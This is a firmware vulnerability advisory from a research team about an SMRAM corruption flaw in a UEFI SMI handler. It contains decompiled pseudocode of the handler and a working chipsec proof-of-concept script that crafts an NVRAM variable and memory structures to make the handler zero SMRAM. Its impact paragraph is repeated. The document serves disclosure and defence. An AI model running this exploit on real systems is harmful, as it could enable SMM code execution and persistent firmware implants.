An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an environment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability could potentially be used by threat actors to influence the early boot process of the operating system.
Binarly REsearch Team identified an SMM memory corruption vulnerability allowing a possible attacker to write fixed or predictable data to SMRAM. Exploiting this issue could lead to escalating privileges to SMM.
An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it. Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability could potentially be used by threat actors to influence the early boot process of the operating system.
The vulnerable SMI handler located at offset 0x1D74
(SwSmiInputValue = 0x74
). The pseudocode of vulnerable handler is presented below:
__int64 __fastcall SwSmiHandler(
EFI_HANDLE DispatchHandle,
const void *Context,
void *CommBuffer,
UINTN *CommBufferSize)
{
__int64 result;
UINTN CpuIndex;
bool CpuIndexNotFound;
BIOS_VIDEO_DEV_SIMPLE *LocalModeData;
int VbeModeNumber;
__int64 i;
BIOS_VIDEO_SIMPLE_MODE_DATA *SimpleModeData;
BIOS_VIDEO_SIMPLE_MODE_DATA *ModeData;
__int64 Index;
UINTN FrameBufferSize;
int _Rax;
int _Rdx;
int _Rbx;
EFI_SMM_CPU_PROTOCOL *EfiSmmCpuProtocol;
__int64 DataSize;
BIOS_VIDEO_DEV_SIMPLE *Int10HookPrivateDataVariable;
EfiSmmCpuProtocol = 0;
_Rax = 0;
_Rbx = 0;
_Rdx = 0;
result = gSmst_0->SmmLocateProtocol(&EFI_SMM_CPU_PROTOCOL_GUID, 0, &EfiSmmCpuProtocol);
if ( result >= 0 )
{
CpuIndex = 0;
CpuIndexNotFound = gSmst_0->NumberOfCpus == 0;
if ( gSmst_0->NumberOfCpus )
{
while ( 1 )
{
EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RAX, CpuIndex, &_Rax);
EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RDX, CpuIndex, &_Rdx);
if ( _Rax == 0x74 && _Rdx == 0xB2 )
break;
CpuIndexNotFound = ++CpuIndex == gSmst_0->NumberOfCpus;
if ( CpuIndex >= gSmst_0->NumberOfCpus )
goto _Exit;
}
EfiSmmCpuProtocol->ReadSaveState(EfiSmmCpuProtocol, 4, EFI_SMM_SAVE_STATE_REGISTER_RBX, CpuIndex, &_Rbx);
CpuIndexNotFound = CpuIndex == gSmst_0->NumberOfCpus;
}
_Exit:
if ( CpuIndexNotFound )
return EFI_NOT_FOUND;
LocalModeData = gVideoDevSimple;
VbeModeNumber = _Rbx & 0x1FF;
if ( !gVideoDevSimple )
{
DataSize = 8;
if ( CommonGetInt10HookPrivateDataVariable() < 0 )
return 0;
LocalModeData = Int10HookPrivateDataVariable;
gVideoDevSimple = Int10HookPrivateDataVariable;
}
i = 0;
SimpleModeData = LocalModeData->SimpleModeData;
if ( LocalModeData->MaxMode )
{
for ( ModeData = LocalModeData->SimpleModeData;
LOWORD(ModeData->VbeModeNumber) != VbeModeNumber || ModeData->FrameBufferSize <= 0x800000;
++ModeData )
{
if ( ++i >= LocalModeData->MaxMode )
return 0;
}
Index = i;
FrameBufferSize = SimpleModeData[Index].FrameBufferSize;
if ( FrameBufferSize )
ZeroMem(SimpleModeData[Index].LinearFrameBuffer, FrameBufferSize); // SimpleModeData[Index].LinearFrameBuffer is attacker controlled
}
return 0;
}
return result;
}
SimpleModeData[Index].LinearFrameBuffer pointer is controllable by a potential attacker. It can be specified via buffer pointed by the contents of NVRAM variable Int10HookPrivateDataVariable {80469736-6678-4857-ab14-cfdbda3f4872}.
The pointer SimpleModeData[Index].LinearFrameBuffer is not validated to make sure the pointed buffer is not overlapping SMRAM. In this way, a potential attacker could corrupt the SMRAM.
The limitation for exploitation is that attacker cannot write <= 0x800000 bytes.
A more detailed process for crafting inputs for exploitation is shown in the following script:
import ctypes
import struct
import hexdump
import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI
cs = chipsec.chipset.cs()
cs.init("ADL", True, True)
uefi = UEFI(cs)
intr = Interrupts(cs)
SMRAM = cs.cpu.get_SMRAM()[0]
SMI_NUM = 0x74
# BIOS_VIDEO_SIMPLE_MODE_DATA
class BiosVideoSimpleModeData(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ = [
("VbeModeNumber", ctypes.c_uint64),
("LinearFrameBuffer", ctypes.c_uint64),
("FrameBufferSize", ctypes.c_uint64),
]
# BIOS_VIDEO_DEV_SIMPLE
class BiosVideoDevSimple(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ = [
("MaxMode", ctypes.c_uint64),
("SimpleModeData", ctypes.c_uint64),
]
def main():
print(f"SMRAM: {SMRAM:#x}")
rbx = 0x1337
vbe_mode_number = rbx & 0x1FF
bios_video_dev_simple_buffer_address = (
0x419AAF98 + 0x1000 # any writable address in physical memory
)
# write address to variable
uefi.set_EFI_variable(
"Int10HookPrivateDataVariable",
"80469736-6678-4857-ab14-cfdbda3f4872",
struct.pack("<Q", bios_video_dev_simple_buffer_address),
8,
)
bios_video_dev_simple_buffer = BiosVideoDevSimple()
bios_video_dev_simple_buffer.MaxMode = 1
bios_video_dev_simple_buffer.SimpleModeData = (
bios_video_dev_simple_buffer_address + 0x1000 # any writable address in physical memory
)
cs.helper.write_physical_mem(
bios_video_dev_simple_buffer_address,
len(bytes(bios_video_dev_simple_buffer)),
bytes(bios_video_dev_simple_buffer),
)
bios_video_dev_simple_mode_data = BiosVideoSimpleModeData()
bios_video_dev_simple_mode_data.VbeModeNumber = vbe_mode_number
bios_video_dev_simple_mode_data.LinearFrameBuffer = SMRAM
bios_video_dev_simple_mode_data.FrameBufferSize = 0x900000
cs.helper.write_physical_mem(
bios_video_dev_simple_buffer.SimpleModeData,
len(bytes(bios_video_dev_simple_mode_data)),
bytes(bios_video_dev_simple_mode_data),
)
rax = 0x74
rdx = 0xB2
intr.send_SW_SMI(0, SMI_NUM, 0, rax, rbx, 0, rdx, 0, 0)
hexdump.hexdump(
cs.helper.read_physical_mem(bios_video_dev_simple_buffer_address, 16)
)
hexdump.hexdump(
cs.helper.read_physical_mem(bios_video_dev_simple_buffer.SimpleModeData, 24)
)
if __name__ == "__main__":
main()
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Binarly REsearch Team